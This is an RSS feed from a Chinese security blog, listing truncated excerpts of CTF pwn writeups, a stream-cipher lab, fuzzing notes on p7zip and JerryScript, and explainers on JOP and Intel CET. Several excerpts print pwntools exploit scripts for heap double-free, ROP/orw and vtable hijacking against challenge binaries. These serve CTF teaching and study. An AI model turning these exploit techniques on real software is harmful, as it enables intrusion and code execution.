RiK's Blog
type: channel
link: https://pwnerik.cn/
description: Get your hands dirty.
items: RCTF 2025 mstr Writeup
items: 西电网安实验班 现代密码学 实验一
items: 羊城杯 2025 初赛 Pwn Writeup
items: 从 ROP 到 JOP 攻击（amd64）
items: 再次尝试 Fuzzing —— JerryScript
items: Google CTF 2025 PlayBook Writeup
items: 首次尝试 Fuzzing —— p7zip
items: Intel CET (Shadow Stack + IBT) CFI 保护及其绕过方式
items: 京麒 CTF 初赛 Crew Manager Writeup
items: Mini L-CTF 2025 Pwn Official Writeup

RCTF 2025 mstr Writeup
type: item
date: 2025-11-21T03:05:00+00:00
description: 少见的 Python interpreter pwn，漏洞点也很有意思。ChallengePython 3.12.4import ctypes from typing import Union, List, Dict STRPTR_OFFSET = 0x28 LENPTR_OFFSET = 0x10 class MutableStr: pass class MutableStr: def __init__(self, data:str): self.data = data self.base_ptr = id(self.data) self.max_size_str = "" def set_max_size(self, max_size_str): if int(max_size_str) < ((len(self)+7) & ~7): self.max_size_str = max_size_str else: print("can't set max_size: too big") def __repr__(self): return self.data def __str__(self): return self.__repr__() def __len__(self): if self.base_ptr is None: return 0 ptr = ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64)) return ptr[0] def __getitem__(self, key:int): if not isinstance(key, int): raise NotImplementedError if key >= len(self) or key < 0: raise RuntimeError("get overflow") return self.data[key] def __setitem__(self, key:int, value:int): if not isinstance(value, int): raise NotImplementedError("only support integer value") if not isinstance(key, int): raise NotImplementedError("only support integer key") if key >= len(self) or key < 0: raise RuntimeError(f"set overflow: length:{len(self)}, key:{key}") strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) strptr[key] = value def __add__(self, other:Union[str,MutableStr]): if isinstance(other, str): return MutableStr(self.data + other) if isinstance(other, MutableStr): return MutableStr(self.data + other.data) raise NotImplementedError() def _add_str(self, other): if self.max_size_str == "": max_size = (len(self)+7) & ~7 else: max_size = int(self.max_size_str) if len(self)+len(other) <= max_size: other_len = len(other) strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) otherstrptr = ctypes.cast(id(other) + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) for i in range(other_len): strptr[i+len(self)] = otherstrptr[i] if len(self)+other_len < max_size: # strptr[len(self)+other_len] = 0 pass ctypes.cast(self.base_pt…

西电网安实验班 现代密码学 实验一
type: item
date: 2025-11-13T10:15:00+00:00
description: 题目一地址：https://www.coursera.org/learn/crypto/assignment-submission/KZ9js/week-1-programming-assignment-optional/attempt​ 题目使用同一个流密码密钥加密得到 10 个密文，加密方式是逐字节异或，目标是通过这 10 个密文得到密钥以解出第 11 个密文。​ 已知消息 M、密钥 K，异或加密的过程是$$ C=M\oplus K $$得到密文 C。异或是自反的运算，所以解密与加密过程相同$$ M=C\oplus K $$​ 对于同一个密钥 K 加密的两个密文 C_1、C_2，如果将两者异或可以得到$$ B=C_1\oplus C_2=M_1\oplus K\oplus M_2\oplus K=M_1\oplus M_2 $$字节流B是两消息逐字节异或结果。​ 我们首先导入这些密文和加密方法msg_1 = bytes.fromhex('315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764703de0f3d524400a19b159610b11ef3e') msg_2 = bytes.fromhex('234c02ecbbfbafa3ed18510abd11fa724fcda2018a1a8342cf064bbde548b12b07df44ba7191d9606ef4081ffde5ad46a5069d9f7f543bedb9c861bf29c7e205132eda9382b0bc2c5c4b45f919cf3a9f1cb74151f6d551f4480c82b2cb24cc5b028aa76eb7b4ab24171ab3cdadb8356f') msg_3 = bytes.fromhex('32510ba9a7b2bba9b8005d43a304b5714cc0bb0c8a34884dd91304b8ad40b62b07df44ba6e9d8a2368e51d04e0e7b207b70b9b8261112bacb6c866a232dfe257527dc29398f5f3251a0d47e503c66e935de81230b59b7afb5f41afa8d661cb') msg_4 = bytes.fromhex('32510ba9aab2a8a4fd06414fb517b5605cc0aa0dc91a8908c2064ba8ad5ea06a029056f47a8ad3306ef5021eafe1ac01a81197847a5c68a1b78769a37bc8f4575432c198ccb4ef63590256e305cd3a9544ee4160ead45aef520489e7da7d835402bca670bda8eb775200b8dabbba246b130f040d8ec6447e2c767f3d30ed81ea2e4c1404e1315a1010e7229be6636aaa') msg_5 = bytes.fromhex('3f561ba9adb4b6ebec54424ba317b564418fac0dd35f8c08d31a1fe9e24fe56808c213f17c81d9607cee021dafe1e001b21ade877a5e68bea88d61b93ac5ee0d562e8e9582f5ef375f0a4ae20ed86e935de81230b59b73fb4302cd95d770c65b40aaa065f2a5e33a5a0bb5dcaba43722130f042f8ec85b7c2070') msg_6 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd2061bbde24eb76a19d84aba34d8de287be84d07e7e9a30ee714979c7e1123a8bd9822a33ecaf512472e8e8f8db3f9635c1949e640c621854eba0d79eccf52ff111284b4cc61d11902aebc66f2b2e436434eacc0aba…

羊城杯 2025 初赛 Pwn Writeup
type: item
date: 2025-10-16T12:07:00+00:00
description: malloc自定义堆内存管理器。堆块结构：| Offset | Field | Description | |---------|----------------|------------------------------------| | +0 | in_use (1B) | 1 = allocated, 0 = free | | +1..7 | padding | for 8-byte alignment | | +8 | size (4B) | total size of the chunk | | +12..15 | padding | (align next pointer) | | +16 | next (8B) | pointer to next free chunk | | +16 | user data start| returned to caller (malloc result) |delete 时存在 UAF，且 double free 检测深度只有 13，而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块，修改 next 指针得到任意地址（目标地址 - 16）分配，从而任意地址读写。泄露 libc、stack 基地址后任意分配到栈上写 ROP，返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用，考虑 orw。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info') binary = './pwn' # io = process(binary) io = connect('45.40.247.139', 18565) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # 0x0f < size <= 0x70 def create(index: int, size: int): io.sendlineafter(b'=======================\n', b'1') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) def delete(index: int): io.sendlineafter(b'=======================\n', b'2') io.sendlineafter(b'Index\n', itob(index)) def edit(index: int, size: int, content: bytes): io.sendlineafter(b'=======================\n', b'3') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) io.send(content) def show(index: int): io.sendlineafter(b'=======================\n', b'4') io.sendlineafter(b'Index\n', itob(index)) def exitit(): io.sendlineafter(b'=======================\n', b'5') for i in range(15): create(i, 0x10) for i in range(15): delete(i) delete(0) # double free show(14) # leak heap (elf) e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0 print_leaked('elf_base', e.address) create(0, 0x10) edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout for _ in range(16): create(…

从 ROP 到 JOP 攻击（amd64）
type: item
date: 2025-10-13T11:27:00+00:00
description: 笔者感觉 JOP 更像是对 ROP 的概念扩充而不是一个新的攻击方式，让我们先来回顾下熟悉的 amd64 ROP。在 ROP 中，我们大概可以将 gadgets 分为三类：传递参数或做准备的 gadgets（例如 pop rdi）、收集函数返回值的 gadgets（例如 mov rdi, rax）执行有意义操作的 gadgets（例如 system、orw、syscall、shellcode）。控制 ROP 本身的 gadgets（例如 ret、leave 栈迁移）以上 gadgets 通过 ret 指令和 rsp 寄存器串联起来。为了引出 JOP，我想到了一个好方法，一个“分解”x86 中较复杂指令的游戏：（下文 reg 表示任意通用寄存器，tmp 表示内部临时寄存器。）我们来“分解”pop reg 指令，它“等效”于 mov reg, qword ptr [rsp]; add rsp, 8。（我们忽略了对标志位的影响，如果考虑的话第二个指令应为 lea rsp, [rsp + 8]。）JOP 链的位置完全可以不在栈上，最终我们可以提取出：mov reg1, qword ptr [reg2 + offset] 或 mov qword ptr [reg2 + offset], reg1（由于有 + offset，我们不需要 add，下同。）这就是 JOP 中类似 ROP 的“传参准备”或“收集结果”gadgets，例如考虑 reg1 是 rdi 的情况。reg2 就是 JOP 链基地址。但是可以看到这并不能构造链式执行。现在我们来“分解”ret 指令，它“等效”于 pop tmp; jmp tmp，由上文进而“展开”为 mov tmp, qword ptr [rsp]; add rsp, 8; jmp tmp，现在我们又提取出了：mov reg1, qword ptr [reg2 + offset] jmp reg1 或 call reg1 或 ...（跳转）我们只需预先在 reg2 + offset 位置布置好下一个 JOP gadget，这就是 JOP 中类似 ROP 的“控制”gadgets。把上述两部分拼起来，我们最终获得了和 ROP 相同的能力，无需与调用栈和函数返回挂钩。这就是 JOP。

再次尝试 Fuzzing —— JerryScript
type: item
date: 2025-08-20T06:15:00+00:00
description: 开始之前这段时间本来想入门 Chrome V8，学了一段时间发现 V8 还是太吃操作了……感觉应该先了解下比较简单的 JS 引擎。于是想着先从适合嵌入式设备的轻量 JS 引擎 JerryScript 开始玩起。正好看到 JerryScript 的 Issues 有好多关于漏洞的报告（无人在意说是），那就复现一下 fuzzing 漏洞挖掘吧。源码与编译git clone https://github.com/jerryscript-project/jerryscript cd jerryscript python tools/build.py编译 JerryScript 还是相当简单的，要想 fuzz 它，我们可以直接让 AFL 将文件作为参数传入然后等待崩溃。但是这样的 fuzz 是没有意义的，因为没有经过 AFL instruction。我们需要使用 afl-clang-lto 作为编译器。有关 AFL 的用法和原理，前人之述备矣，我就不赘述了。JerryScript 已经在 tools/build.py 为我们准备好了接入 libfuzzer 的编译选项，而 AFL 支持为 libfuzzer sanitized binary 启用 persistent mode。那么就用现成的就好。CC=afl-clang-lto python tools/build.py --libfuzzer=ON --compile-flag='-Wno-enum-enum-conversion' --strip=OFF CC=afl-clang-lto AFL_LLVM_CMPLOG=1 python tools/build.py --libfuzzer=ON --compile-flag='-Wno-enum-enum -conversion -fsanitize=address' --strip=OFF我们需要添加 -Wno-enum-enum-conversion 编译参数来防止高版本 clang 编译不通过。（如果要用高版本 gcc 编译的话，还需要添加 -Wno-unterminated-string-initialization，因为 jerry-core/ecma/builtin-objects/ecma-builtin-helpers-date.c 中的 day_names_p 和 month_names_p 没有考虑 C-style 字符串字面量 tailing NULL byte 占用的空间。）准备初始 corpus作为实验，我没有考虑太多，选用 test262 作为 JS 样本，去除其中的注释，就直接作为初始 corpus 了。我选用 AFL 作为 fuzzing 引擎。这对于 JS 引擎而言，效果不会好，但本来也只是实验性质的尝试。AFL 在 fuzz 过程中会根据这些文件不断通过各种策略构造新的输入，收集对于每个输入程序执行后的覆盖率，继续构造新的输入。import os import shutil import subprocess TEST262_REPO = "https://github.com/tc39/test262.git" CLONE_DIR = "test262" CORPUS_DIR = "corpus" NUM_FILES = 100 # Adjust how many files you want # Directories considered ES5 core tests ES5_TEST_DIRS = [ "test/built-ins", "test/language", "test/statements", "test/annexB" ] def clone_test262(): if not os.path.exists(CLONE_DIR): print("Cloning test262 repo...") subprocess.run(["git", "clone", TEST262_REPO], check=True) else: print("test262 repo already cloned.") def gather_es5_js_files(): js_files = [] for root, _, files in os.walk(CLONE_DIR): # Check if the file is inside one of the ES5 directories if any(es5_dir in root.replace("\\", "/") for es5_dir in ES5_TEST_DIRS): for file in files: if file.…

Google CTF 2025 PlayBook Writeup
type: item
date: 2025-07-03T03:57:00+00:00
description: struct PlayBook { int flags; // &1=used, &2=cmd, &4=note int sub_ids[10]; char note[0x200]; // 0x2c };nesting_depth 在结束后不会置零，创建和结束前也不会检查是不是 0。创建 playbook 的时候不写 ENDSTEP 的话 nesting_depth 就会大于 0 而且会保留到下次创建时。new_playbook 创建 playbook 处理嵌套时需要将 id 暂存在数组中，且该数组另有一个元素指针。用户输入读取长度 buf_size 是一个栈上的变量，与暂存 id 数组低地址相邻。（这里的变量分配很反常，大概是用了在栈上的结构体，强制改变了栈上变量布局。）这样可以改 buf_size 为一个 index 值，从而溢出 struct PlayBook 里的 char note[0x200] 改到高地址相邻 step 的 flags 和 note。先创建一大堆没用的 step 把 index 扩大到超过 0x205。Exp:# 1 ~ 575 (576) for _ in range(0x120): io.sendlineafter(b'5. Quit\n', b'2') # new io.sendlineafter(b'entry.\n', f'''STEP note: sh ENDSTEP '''.encode()) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'569') # id: 569 (570) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'571') # id: 571 (572) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'573') # id: 573 (574) io.sendlineafter(b'5. Quit\n', b'2') # new 569 570 571 io.sendlineafter(b'entry.\n', f'''STEP STEP ''') io.sendlineafter(b'5. Quit\n', b'2') # new 572 573 574 io.sendlineafter(b'entry.\n', f'''ENDSTEP ENDSTEP STEP STEP note: ''' + '\x03' * (0x204 + 40) + 'sh\n')我没有精确计算应该先分配多少 playbook，exp 里 0x120 之类的数字没有特别含义。不成对的 STEP、ENDSTEP 也许只需要一个，解题时我求稳将 nesting_depth 设置为 2。

首次尝试 Fuzzing —— p7zip
type: item
date: 2025-06-28T10:11:00+00:00
description: 第一次尝试使用 archlinux 的 p7zip PKGBULD，修改编译器为 afl-clang-lto(++) 。编译时发现一个函数指针类型转换的报错，用 -Wno-cast-function-type-strict 参数来抑制。准备了三个随便的 7z 文件，放进 input 文件夹直接开始。（@@ 表示输入文件目录，而不是从 stdin 输入）AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@结果：我看也就娱乐 fuzz，效果一坨🔟。第二次尝试准备了很多只有一个或几个文件，大小仅 100+ 字节的 7z 文件作为输入。AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y结果：覆盖率很快达到和第一次同样水平。第三次尝试了解到 7z 格式有 CRC 校验，估计大多数 fuzz 输入都死在校验上了。patch 源码去除校验：（应该使用 FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION 宏）static inline bool TestStartCrc(const Byte *p) { (void)p; // 抑制 -Wunused-parameter return true; } if (CrcCalc(buffer2, nextHeaderSize_t) != nextHeaderCRC) ; if (CrcCalc(data, unpackSize) != folders.FolderCRCs.Vals[i]) ;添加 -fsanitize=address -g 编译选项。添加 -so 运行选项，这样不会在目录里拉💩。本来想加上 -si 参数从 stdin 输入压缩文件，应该可以大幅提升性能。但是 7z 格式竟然不支持，原因是 7z 有一部分文件头在文件末尾，解压前必须先读取。（意义不明...）把整个 fuzzing 项目文件夹放在 tmpfs 里应该会更快吧，虽然 afl 官网教程推荐 ext2 + noatime。因为现在基本是在实验，暂时懒得配置 ext2 环境了。AFL_USE_ASAN=1 AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y -so结果：本来不抱什么希望，睡了个午觉起来竟然就真的收集到了很多 crashes，但都是 OOM，没什么实际意义。（用 KDE Ark 打开其中某个 input，直接 coredump 了。）==589143==ERROR: AddressSanitizer: requested allocation size 0x207ffffffffffff (0x208000000001000 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0) #0 0x6048688567e2 in operator new[](unsigned long) (/tmp/7zfuzz/7zr+0x1fa7e2) (BuildId: 8450a6b1d6712a80c42046efedb6d74eb798c38d) #1 0x604868c0e1e0 in CBuffer<unsigned char>::Alloc(unsigned long) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/../../Common/../../Common/MyBuffer.h:72:18 #2 0x604868c1f5bd in NArchive::N7z::CInArchive::ReadAndDecodePackedStreams(unsigned long, unsigned long&, CObjectVector<CBuffer<unsigned char>>&, ICryptoGetTextPassword*, bool&, bool&, UString&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zIn.cpp:1187:10 #3 0x604868c280ce in NArchive::N7z::CInArchive::ReadDatabase2(NArchive::N7z::CDbEx&, ICryptoGetTextPa…

Intel CET (Shadow Stack + IBT) CFI 保护及其绕过方式
type: item
date: 2025-06-02T06:46:00+00:00
description: Intel CETIntel CET（Controlflow Enforcement Technology / 控制流加固技术）CFI（Control Flow Integrity / 控制流完整性）检查是近些年兴起的保护机制，其中包含 SHSTK（SHadow STacK）和 IBT（Indirect Branch Tracking），Intel Tiger Lake（11 代）及以上 CPU 才支持。SHSTK 是一种后向控制流完整性（Backward-edge CFI）检查（简单来说是在“返回”时的检查），一般需要硬件支持。程序运行时在不同内存映射中同时维护两个调用栈，一个是众所周知的栈区，另一个是新增的“影子栈”，只存储返回地址。CPU 在过程调用与返回时将同时操作两个栈，如果在返回时发现正常调用栈的返回地址与影子栈中的不同就产生异常。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了，也就是所有 ROP 攻击都将失效。IBT 是一种前向控制流完整性（Forward-edge CFI）检查（简单来说是在“调用”时的检查）。CPU 每当执行间接调用及跳转时都检查目标的指令是否为 endbr64/32，如果是就不执行任何操作（类似 nop），如果不是就产生异常。这样一来大幅削弱了 COP / JOP 攻击。Forward-edge CFI 可以在软件层面模拟，例如 Windows CFG、Clang CFI 等，但是会大幅降低程序性能，每次虚函数调用等都需要校验，实用价值有限。目前 Windows 只支持 Shadow Stack（Windows CFG），还不支持以 endbr 指令为基础的 IBT（存疑，Windows 我不熟悉）；Linux 上也几乎没有程序启用这项保护，算是高度实验性的功能吧。不过 SHSTK 保护很可能在未来成为继 RELRO、Stack Canary、NX、ASLR (PIE) 后又一项常见的用户态保护机制。下文即将提到的 COOP 攻击对于未来的 Pwner 可能也会是像 ROP 一样必学的攻击方式？（Hackergame 2024 中有一道开启了 SHSTK 和 IBT 的 Pwn 题，但好像没开 ASLR，解法是直接篡改 shadow stack 本身再 ROP。）验证 Intel CET 是否可用接下来是在 Linux 上实验启用 CET 的具体操作，主要是 Shadow Stack。首先需要内核启用 CET 特性，Linux 6.2 默认启用 IBT，Linux 6.6 正式合并 SHSTK。在命令行中验证启用状态：$ sudo dmesg | grep CET [ 0.111658] CET detected: Indirect Branch Tracking enabled $ cat /proc/cpuinfo | grep shstk flags : ... user_shstk ... $ cat /proc/cpuinfo | grep ibt flags : ... ibt ...验证某程序是否在编译时启用 CET：$ readelf -n <application> | grep -a SHSTK Properties: x86 feature: IBT, SHSTK $ readelf -n <application> | grep -a IBT Properties: x86 feature: IBT, SHSTKGCC / glibc 环境启用 Intel CETGlibc 已经在其 ld.so 中初步支持 Intel CET 保护。我的环境：CPU: 13th Gen Intel(R) Core(TM) i7-13700H (20) @ 5.00 GHz Kernel: 6.14.7-zen2-1-zen (archlinux) glibc: GNU C Library (GNU libc) stable release version 2.41如果自己的电脑没有 Intel CET 软硬件支持，推荐使用 eqqie 学长开发的 qemu 插件（github）。我的电脑由于恰好满足所有条件，所以我图方便直接实机测试了比较粗暴。开虚拟环境总是对的。编译时使用 gcc 编译时添加以下编译参数：gcc -fcf-protection=full运行时目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性（见源码），需要设置以下环境变量以强制启用：GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK将以上环…

京麒 CTF 初赛 Crew Manager Writeup
type: item
date: 2025-05-27T05:38:00+00:00
description: glibc 2.39 菜单堆。逆向得出堆块结构体：struct Member { int64_t backup_size; char* backup; char name[0x20]; char department[0x18]; int32_t level; int32_t index; int64_t create_time; uint64_t checksum; };写出各功能交互模板：itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') def manage(index: int): """index < 0x10""" io.sendlineafter(b'Choice: ', b'1') io.sendlineafter(b'index: ', itob(index)) def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes): """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500""" manage(index) io.sendlineafter(b'Name: ', name) io.sendlineafter(b'Department: ', department) io.sendlineafter(b'32: ', itob(backup_size)) io.sendafter(b'data: ', backup) def crew_edit(index: int, name: bytes, department: bytes): manage(index) io.sendlineafter(b'> ', b'1') io.sendlineafter(b'Name: ', name) io.sendlineafter(b'department: ', department) def crew_promote(index: int): manage(index) io.sendlineafter(b'> ', b'2') def crew_demote(index: int): manage(index) io.sendlineafter(b'> ', b'3') def crew_delete(index: int): manage(index) io.sendlineafter(b'> ', b'4') def crew_randomize(index: int): manage(index) io.sendlineafter(b'> ', b'5') def crew_summary(): io.sendlineafter(b'Choice: ', b'2') def backup(index: int): io.sendlineafter(b'Choice: ', b'3') io.sendlineafter(b'Index: ', itob(index)) def backup_view(index: int): backup(index) io.sendlineafter(b'> ', b'1') def backup_edit(index: int, data: bytes): backup(index) io.sendlineafter(b'> ', b'2') io.sendafter(b'content: ', data) def backup_invert(index: int): backup(index) io.sendlineafter(b'> ', b'3') def global_init(global_data: bytes): """sizeof(global_data) <= 0x200""" io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'1') io.sendafter(b'global data: ', global_data) def global_view(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'2') def global_free(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter…

Mini L-CTF 2025 Pwn Official Writeup
type: item
date: 2025-05-09T15:44:00+00:00
description: CTFers题目链接程序有三个功能，增删查。新增时暂存名字用到了 name_buf，查询时有一个虚函数调用 Binary::info 或 Web::info。另外还有一个隐藏后门 0xdeadbeef，可以修改一次 ctfers 首个元素的地址。既然程序没有开启 PIE，那么当然可以将地址改到 name_buf，从而在输入名字时伪造 CTFer 对象。但我们首先要知道这个对象里有什么。Binary 和 Web 继承自 CTFer，std::vector 存储这两种对象时仅存储其指针而丢弃了类型信息。然而我们依旧可以直接调用对应类型的 info，这是因为 C++ 运行时多态特性。虽然 C++ 标准并未规定，但大多数编译器实现它的方式是虚函数表。通过在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表来实现运行时多态。本题虚函数调用在此：004025f4 mov rdx, qword [rax] 004025f7 mov rdx, qword [rdx] 004025fa mov rdi, rax 004025fd call rdxCTFer 对象还用 STL 容器 std::vector 存储了名字字符串。其具体实现依赖编译器，但我们可以通过在 new 前后断点，查看新增堆块的内容来反推其结构。以下是用 C 语言表示的 CTFer 对象：（符号名仅作参考）struct CTFer { void (**vtable)(struct CTFer *); int64_t points; struct std_string { char *base; size_t length; union { size_t capacity; char buffer[16]; }; } nickname; };当 length < 16 时 buffer 复用 capacity 内存而非单独 malloc，不过这并不重要。我们可以先恢复正确的虚函数表，然后修改 nickname base 指向 GOT 项，修改适当的 length，从而通过 print_info 泄露基址。获得各个库的基址绕过 ASLR 后解法就十分自由了，只要找到栈迁移 gadget 即可执行任意代码。需要注意调用 info 虚函数时 RAX 和 RDI 都指向 CTFer 对象，也就是可控的 name_buf，可依此选择 gadget。这里我们选用来自 libstdc++ 中的一个 COP gadget：0x0000000000113764: mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];然后只需要在 name_buf 上写 ROP 链即可。Exp:from pwn import * context(os='linux', arch='amd64') e = ELF('./ctfers') io = ... libc = ELF('./libc.so.6', checksec=False) def add(fake_object: bytes): io.sendlineafter(b'Choice > ', b'0') io.sendlineafter(b'Name > ', fake_object) io.sendlineafter(b'Points > ', b'0') io.sendlineafter(b'- 1 > ', b'0') def show_info(): io.sendlineafter(b'Choice > ', b'2') def backdoor(address: int): io.sendlineafter(b'Choice > ', str(0xdeadbeef).encode()) io.sendline(str(address).encode()) vtable = 0x408C98 cout = 0x409080 libc_start_main_got = e.got['__libc_start_main'] input_buf = e.sym['name_buf'] # 还原虚函数表指针，改 std::string 头指针为 got 项 add(cyclic(16) + p64(vtable) + p64(0) + p64(libc_start_main_got) + p64(8) + p64(8)) backdoor(input_buf + 16) show_info() # leak libc io.recvuntil(b'I am ') lib…